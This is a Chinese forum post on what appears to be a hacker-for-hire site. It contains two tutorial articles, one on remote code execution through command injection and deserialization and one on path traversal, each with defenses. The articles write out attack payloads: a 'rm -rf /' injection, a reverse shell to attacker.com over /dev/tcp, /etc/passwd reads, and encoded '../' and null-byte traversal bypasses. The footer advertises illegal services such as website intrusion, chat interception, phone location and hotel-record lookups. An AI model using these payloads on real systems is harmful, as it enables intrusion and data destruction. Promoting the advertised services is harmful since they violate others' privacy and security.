打印 上一主题 下一主题

远程代码执行(RCE)——命令注入与反序列化漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 昨天 15:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
查看 : 11|回复 : 0
远程代码执行(RCE)——命令注入与反序列化漏洞
摘要:远程代码执行(Remote Code Execution, RCE)是最严重的黑客网站攻击之一,允许攻击者在目标服务器上执行任意系统命令或代码,从而导致服务器完全沦陷。RCE通常源于输入未经严格过滤便传给系统命令解释器(如system()、eval())或不安全的反序列化。本文从命令注入和反序列化两个维度深入分析RCE原理,展示渗透测试常用载荷,并给出输入白名单、禁用危险函数、升级依赖库等防御建议。
关键词:黑客网站攻击;远程代码执行;RCE;命令注入;反序列化漏洞;渗透测试;服务器安全

一、引言
在黑客入侵的最终阶段,攻击者往往追求在目标系统上执行任意代码。RCE漏洞直接赋予攻击者服务器操作系统级别的权限,可进行文件读写、反弹Shell、安装挖矿木马等。2021年Log4j2漏洞(CVE-2021-44228)即是一种典型的RCE,影响了全球数百万应用。理解RCE的成因与防御手段,是保护网站不被彻底攻破的关键。
二、命令注入型RCE2.1 原理
当应用程序调用系统命令处理用户输入(如ping、dig、grep),却未对输入进行严格过滤时,攻击者可通过插入管道符、分号、反引号等执行额外命令。
2.2 典型漏洞代码(PHP)[size=12.573px]php



$ip = $_GET['ip';system("ping -c 4 " . $ip);

输入8.8.8.8; rm -rf /,执行的命令变为:ping -c 4 8.8.8.8; rm -rf /,导致毁灭性后果。
2.3 命令注入绕过技巧
  • 使用|(管道符)、||、&、&&、\n、$(command)、反引号。
  • 编码绕过:%0a(换行)、%0d(回车)。
  • 利用环境变量或特殊变量:${IFS}代替空格。

三、反序列化型RCE3.1 原理
序列化是将对象转换为可存储/传输的格式(如Java的Serializable、Python的pickle、PHP的serialize)。反序列化时,如果用户可控的序列化数据被反序列化,且应用包含“魔术方法”(如__wakeup、__destruct、readObject),攻击者可构造特定对象触发方法链,最终执行任意代码。
3.2 经典场景:Java反序列化
使用Apache Commons Collections的Transformer链,攻击者发送特殊序列化数据,触发Runtime.exec()。
3.3 渗透测试思路
  • 寻找接受序列化数据的端点(Cookie、请求体、参数值包含rO0AB(Base64编码的Java序列化特征))。
  • 使用ysoserial工具生成常用gadget链的payload。
  • 发送payload,观察服务器是否执行如dnslog.cn的DNS查询或延时响应。

四、渗透测试演示:命令注入
场景:一个提供域名查询的API:https://example.com/dns?domain=example.com,后端调用nslookup {domain}。
步骤1:探测注入
输入example.com; sleep 5,若响应延迟5秒,则存在注入。
步骤2:获取敏感信息
example.com; cat /etc/passwd 返回文件内容(需结合错误输出或curl外带)。
步骤3:反弹Shell
example.com; bash -i >& /dev/tcp/attacker.com/4444 0>&1(需URL编码空格为%20或${IFS}),攻击者监听端口获得Shell。
五、防御RCE的完整方案5.1 命令注入防御
  • 避免使用系统命令:尽量使用编程语言内置的API替代(如PHP的filter_var验证IP,而非调用ping)。
  • 输入白名单:例如仅允许domain参数包含域名、数字和点号,使用正则^[a-zA-Z0-9.-]+$。
  • 参数化或转义:如果必须调用命令,使用escapeshellarg()(PHP)或subprocess.list2cmdline确保参数被当作单参数传递。
  • 禁用危险函数:在disable_functions(PHP)中禁用exec、system、passthru、shell_exec、proc_open等。

5.2 反序列化防御
  • 禁止反序列化不可信数据:不要对用户提交的序列化字符串进行反序列化。
  • 使用安全替代格式:使用JSON、XML等结构化数据,避免语言原生的序列化。
  • 签名与加密:对序列化数据使用HMAC或加密,确保未被篡改(适用于Cookie等存储)。
  • 维护库版本:及时更新第三方库,修复已知gadget链(如Commons Collections 3.2.2更新了反序列化限制)。
  • JEP 290(Java):对于Java应用,启用反序列化过滤器(Java 9+)限制允许的类。

5.3 纵深防御
  • 运行Web服务使用最低权限用户(非root)。
  • 配置SELinux或AppArmor限制可执行命令范围。
  • 部署RASP(Runtime Application Self-Protection)实时检测命令执行行为。

六、检测RCE漏洞的方法
  • 黑盒渗透测试:在不同输入点尝试注入ping xxx.dnslog.cn,观察DNS记录。
  • 白盒代码审计:搜索exec、eval、popen、serialize、unserialize、ObjectInputStream等关键字。
  • 动态分析:使用DAST工具(如Burp的主动扫描)自动检测命令注入。

七、总结
RCE漏洞级别极高,可导致服务器完全失陷。防御重点在于:绝不执行不可信输入,如果必须调用系统命令,使用白名单限制参数;绝不反序列化用户提供的数据,改用JSON。同时,应通过最小权限和运行时监控减轻被攻击后的影响。
下一篇预告:路径遍历攻击——隐藏文件与配置文件泄露。

(本文仅供网络安全教育与防御研究使用,严禁用于任何非法活动。)
第六篇:路径遍历攻击——隐藏文件与配置文件泄露
摘要:路径遍历(Path Traversal,又称目录遍历)是一种利用文件路径输入过滤不严,使攻击者能够访问Web根目录之外的文件和目录的黑客网站攻击手段。通过../等序列,攻击者可读取系统敏感文件(如/etc/passwd)、应用配置文件(config.php)、日志文件甚至源代码,为后续渗透提供信息。本文将深入剖析路径遍历的原理、编码绕过技巧,并给出规范文件路径检查、沙箱限制等防御方案。
关键词:黑客网站攻击;路径遍历;目录遍历;渗透测试;文件泄露;Web安全防御

一、引言
许多Web应用提供文件下载或预览功能,参数如?file=report.pdf。若后端直接拼接文件路径而未做安全校验,攻击者可提交?file=../../../etc/passwd读取服务器明文密码文件。尽管这类漏洞长久存在,但每年仍有大量网站因路径遍历而泄露敏感信息,甚至被用来读取源码中的数据库密码。因此,理解该攻击和防御对于保护网站数据资产至关重要。
二、路径遍历原理2.1 漏洞成因
应用程序使用用户可控的输入构建文件路径,但没有规范化和过滤路径遍历序列(../或..\)。典型的危险代码:
[size=12.573px]php



$file = $_GET['file';readfile("/var/www/html/uploads/" . $file);

攻击者输入../../../../etc/passwd,实际读取路径为/var/www/html/uploads/../../../../etc/passwd,简化后为/etc/passwd。
2.2 Windows下的变种
  • 使用..\或者..%5c(URL编码的\)
  • 使用绝对路径如C:\Windows\System32\config\SAM

三、渗透测试典型技巧
步骤1:基础探测
filename=../../../../etc/passwd,若返回密码文件内容,则为成功。若返回错误或空白,尝试URL编码:
  • ..%2f..%2f..%2fetc/passwd
  • 双URL编码:..%252f..%252f..%252fetc/passwd(针对后端做了一次解码的中间件)

步骤2:绕过文件扩展名追加
有时后端会自动加上.pdf,可使用空字节截断(旧版本PHP):filename=../../etc/passwd%00(空字节终止字符串)。现代PHP已修复,但其他语言如Java可能仍存在。
步骤3:利用信息响应
即使无法直接读取文件,可通过结合文件包含漏洞(LFI)实现代码执行。
四、防御路径遍历4.1 规范路径并验证(最有效)
  • 解析目标路径的绝对路径,检查其是否以允许的基目录开头。

[size=12.573px]python



import osbase_dir = "/var/www/html/uploads/"requested_file = os.path.join(base_dir, user_input)real_path = os.path.realpath(requested_file)if not real_path.startswith(base_dir):    raise Exception("Access denied")

4.2 白名单文件标识
  • 不使用文件名作为参数,改用文件ID,后端维护ID到真实文件路径的映射。
  • 示例:?id=123 → 从数据库查找文件路径/uploads/doc_123.pdf。

4.3 输入过滤
  • 删除或替换../、..\、./等序列,但需注意绕过(....//可变成../)。
  • 使用正则仅允许字母数字、点、下划线、横线,拒绝任何包含斜杠或反斜杠的输入。

4.4 沙箱与权限限制
  • Web服务器应运行在低权限用户,即使读取了/etc/passwd也无法读取其他敏感文件(如/etc/shadow)。
  • 使用open_basedir(PHP)限制文件访问范围。

4.5 部署WAF检测
  • 拦截URL中包含../、..%2f、%2e%2e%2f等特征的请求。

五、检测方法
  • 自动扫描:使用Burp Scanner或NSE脚本(http-enum)遍历常见敏感文件路径。
  • 代码审计:搜索readfile、fopen、file_get_contents等函数,检查前是否进行路径规范化。

六、总结
路径遍历攻击利用的是开发者对文件路径安全性的疏忽。最简单的防御就是使用ID映射或白名单,避免用户直接控制文件路径。如果必须使用用户输入,务必进行规范化并验证路径前缀。结合最小权限原则,可将泄露风险降到最低。


黑客接单网,一个诚信可靠的黑客在线接单平台网站 - 论坛版权欢迎各位客户访问黑客接单网
黑客接单网,一个诚信可靠的黑客在线接单平台网站是一个专业的黑客在线接单服务平台
黑客接单网,一个诚信可靠的黑客在线接单平台网站聚集多位顶级黑客大牛于此
专业服务于网站攻击,网站入侵,软件开发,软件破解,聊天记录截取,手机定位,删帖,改贴,开房记录查询等各种网络服务
如果您有相关业务需求,请联系我们在线客服咨询,获取解决方案
黑客接单网,一个诚信可靠的黑客在线接单平台网站全体工作人员恭候您下达任务,我们誓必不负重托。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

HeiKeJieDan(黑客接单网)黑客接单网,是一个国际顶级黑客在线接单网站平台,平台聚集数十位IT界顶级黑客精英大神,软件-网站开发工程师,逆向破解工程师,以及后勤协助人员,网络在线全职兼职人员,强大的IT精英团队聚集,只为为您提供最优质可靠的网络安全技术服务。

联系我们

新加坡-缅甸-菲律宾-美国

0037259400637(服务时间:9:00-18:00)

hk@heike8.com

在线咨询新浪微博官方微信官方微信

黑客客服

网   址:WWW.HKJD.CC
邮箱号:hk@heike8.com
快手号:HeiKeJieDan
电报TG号:hkjd9988
国际客服:0037259400637

快速回复 返回顶部 返回列表